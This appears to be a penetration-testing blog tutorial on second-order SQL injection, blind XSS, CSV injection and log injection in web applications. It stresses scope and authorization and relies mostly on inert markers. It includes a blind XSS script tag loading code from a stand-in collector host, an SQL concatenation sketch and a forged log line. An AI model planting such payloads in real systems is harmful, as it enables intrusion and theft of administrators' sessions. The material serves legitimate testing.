Attacking Secondary Contexts in Web Applications

Secondary contexts testers check after the main flow: log files, admin panels, and background jobs.

12 min read
ibrahimsql
2,271 words

Attacking Secondary Contexts in Web Applications#

Why this topic matters: the payload that never fires in the response you received can still fire in the admin panel, the exported spreadsheet, or the support ticket queue. The most interesting findings in a web test often live outside the first request-response pair.

Ethics and scope: every example below assumes you are testing a system you own or have permission to test, and that a callback collector you control receives the out-of-band requests. For the main-flow web classes this builds on, see web hacking 101.

What a Secondary Context Is#

A secondary context is anywhere your input is consumed after the initial request finished, by a different feature, or by a different user. The data crossed a trust boundary and was never rechecked on the way in.

Where input landsWho consumes itTypical sink
Admin user listAn administratorHTML in the browser
Application logsA sysadminTerminal, log viewer, SIEM
Exported CSVA finance or ops analystSpreadsheet application
Support ticketA support agentTicket web app or mail client
Background jobA cron workerSQL query, shell command
Email notificationThe recipientMail client HTML renderer

Why they get missed#

Automated scanners stop at the first response. The stored value is invisible unless someone later views it as that second user. That gap between "stored" and "executed again" is the whole topic.

Second-Order SQL Injection#

Second-order injection means the payload is stored safely at first and executed later as part of a query built from stored data.

Sketch of the pattern#

Signup: INSERT INTO users (name) VALUES (?) -- payload stored as data Later job: UPDATE users SET active = 1 WHERE name = '<stored name>'
  1. Register with a username containing a quote.
  2. The registration escapes it correctly, so nothing happens yet.
  3. A later query concatenates the stored value into SQL.
  4. The query runs with different privileges than the original one.

What to look for#

  • Stored values used in raw SQL anywhere else in the codebase.
  • Admin-only queries built from user-controlled fields.
  • Cases where the read path escapes but the write path concatenates.

Blind XSS#

Blind XSS is stored XSS where the executing page belongs to someone else, and you never see the response.

<script src="https://collector.example/h.js"></script>

High-value targets#

  • Support ticket systems.
  • Feedback and "contact us" forms.
  • Order notes and address fields.
  • Admin dashboards that render user input.
  • Chat and comment logs viewed by moderators.

Collection hygiene#

  • Use a collector domain you control.
  • Log the exact ticket or record that held the payload.
  • Wait between sessions; many admins review queues daily, not hourly.
  • Trim what you exfiltrate to the minimum that proves execution: a cookie name, a URL, an action.

Notes on XSS delivery differences by sink appear in XSS types compared.

CSV Injection#

If the application exports user data to spreadsheets, formulas can ride along inside quoted fields.

Prefix characterEffect in a spreadsheet
=Formula evaluation
+Formula evaluation
-Formula evaluation
@Formula or hyperlink

Defensive check on the export path#

A correct export either prefixes dangerous leading characters with a tab or apostrophe, or writes the cell as text. Test with an inert payload such as =1+1 in a lab export and inspect the raw bytes of the resulting file.

Log and Terminal Injection#

Logs ship to terminals, log viewers, and SIEMs. Three payload families matter.

Newlines#

A username with an embedded newline can split one log line into two, forging a second entry that looks like a real event.

login ok user=ibrahim login fail user=root ip=10.0.0.9

Terminal escapes#

If the log is viewed in a terminal that honors escape sequences, a payload can rewrite the current line or move the cursor. Keep them as "observed in a terminal" notes rather than assuming RCE.

SIEM field smuggling#

JSON-in-JSON fields are a common place for the second parser to disagree with the first. That disagreement belongs in the detection differences section of your report, not the malware section.

Email and Notification Templates#

A stored value that is emailed arrives where an admin already trusts the sender. Check templates that render user fields as HTML. That is the same class of sink as zero-interaction XSS, delivered to a mail client instead of a page.

Log Injection Checklist#

  1. Find one place where user input is written to a log.
  2. Add input containing a newline; reload the log view.
  3. Add input containing a terminal escape; reload in a real terminal.
  4. Add input containing quotes; check whether the parser stays aligned.
  5. Record which viewers break, and which stay intact.

False Positive Shapes#

  • The queue admin never opened the record, so nothing fired.
  • The payload fired but in a sandboxed viewer with no network.
  • The stored value was escaped on every read path, so only the raw SQL console showed it.
  • The CSV opened as text because the client defaults to "open as table".

Verification Notes#

  • One working replay is not proof; produce the stored record, the console or log view, and the observed effect together.
  • Keep a trimmed screenshot of the sink context, not the whole admin screen.
  • Record the role of the consumer account. "Admin" is a claim, not a fact, until the session cookie shows it.

Limits of This Approach#

  • Some stored values are only read by backend jobs with no interactive sink.
  • Email clients differ; an HTML payload that fires in one client may be inert in another.
  • Terminal injection is observable; it is not automatically a remote code path.
  • No example here substitutes for a documented authorization scope.

Table of Common Sinks by Consumer#

ConsumerSinkMarker payload
Admin panelinnerHTML in the list viewinert markup, then alert in lab
SIEMField splitting on newlineline-split probe
SpreadsheetFormula leading characters=1+1 in lab export
Ticket queueReflected markup in ticket bodyescaped vs unescaped check
Cron queryConcatenated stored valuequote in stored field
Mail clientHTML body rendererbenign markup with tracker

Boundaries of the Test#

A tester looks for stored values that re-enter a dangerous sink. A tester does not run phishing against the admins of the target to prove a template issue, and does not assume a terminal injection grants a shell. Observation of the sink plus a trimmed replay is enough for a report.

Reading Order Around This Topic#

Start with the class background, then the sinks, then the tooling:

Keep that order while you walk a target. Class first, sink second, sink consumer third, report last.

Extra Checks Worth a Line Each#

Triage Notes When a Callback Fires#

  1. Stop replaying that parameter.
  2. Record which record ID carried the payload.
  3. Capture the incoming request headers only.
  4. Note the time and the reviewer role you can prove.
  5. Write it up with a trimmed screenshot of the record.

Practical Walkthroughs#

These three walkthroughs describe the shape of the check, not a runbook against a live target.

Walkthrough 1: stored field reaches the admin list#

  1. Create a profile field that accepts free text.
  2. Place a harmless markup payload such as <b>test</b> in it.
  3. View the field as the same user. Confirm the app escapes it there.
  4. View the user list as the admin role in a separate session.
  5. Check whether the same field appears escaped or raw.
  6. If raw, swap in an alert payload in the lab build and confirm the execution context.

Expected observation: two viewers, two different renderings. The report names both viewers and the exact field.

Walkthrough 2: export path#

  1. Find the export action in the admin UI.
  2. Seed a row with a value like =1+1 and an inert label.
  3. Download the file and open it in a text editor, not a spreadsheet.
  4. Check whether the field is quoted, prefixed, or wrapped in an apostrophe guard.
  5. Open the same file in the spreadsheet the finance team uses.
  6. Note whether the formula evaluated or displayed as text.

Expected observation: quoting in the raw file, evaluation in the spreadsheet. Both facts belong in the report.

Walkthrough 3: log round trip#

  1. Find one request whose parameter lands in an application log.
  2. Send the request with a newline inside the parameter.
  3. Reload the log in the web viewer; count the lines produced.
  4. Reload the same log in a real terminal; watch for escape handling.
  5. Repeat with a quote-heavy value; check parser alignment.
  6. Record which viewers stayed aligned and which split.

Expected observation: one viewer trusts the line ends, another shows a second forged entry. The second entry is the finding.

Questions to Ask During Recon#

  • Which fields can a low-privilege user write?
  • Which of those fields are rendered to a higher-privilege role?
  • Which fields land in exports, tickets, or notification mail?
  • Which parameters land in logs, and who reads those logs?
  • Which background jobs read stored values without re-escaping?

Each yes is a candidate secondary context. Each candidate gets one walkthrough like the three above before it becomes a report.

Closing Notes#

The practical rule is simple: every user field has more than one future reader. Walk that list once against the target and several otherwise invisible sinks show up. Keep the replays stored with the finding, because the stored record is the finding; the callback is just the timestamp.

Two Roles You Need#

Every secondary-context check needs two identities and one stored value:

  1. The low-privilege writer.
  2. The high-privilege reader.
  3. The stored value that connects them.
RolePurpose
WriterStores the candidate payload
ReaderIs the only one allowed to view it first
AuditorWatches both sessions and records the sink

Skipping any row weakens the finding. A payload that only fires in the writer's own view is not a secondary-context issue.

Terms Used Above#

  • Stored value: input saved by the application and rendered later.
  • Consumer: whoever or whatever reads the stored value next.
  • Sink: the operation that turns the stored value into execution, rendering, or evaluation.
  • Callback server: infrastructure you control that receives out-of-band hits from a payload.
  • Second-order: stored first, executed against a different trust decision later.

Keep those five definitions in front of the report. Most secondary-context findings are one of them wearing a costume.

Why Automation Misses These#

Scanners score the response that arrives in the same session. A stored value that fires inside an admin panel fails that scoring by construction. Manual notes name the consumer, the stored record, and the sink; the scanner sees none of the three. That is the durable gap between a scan report and a tester's notes.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts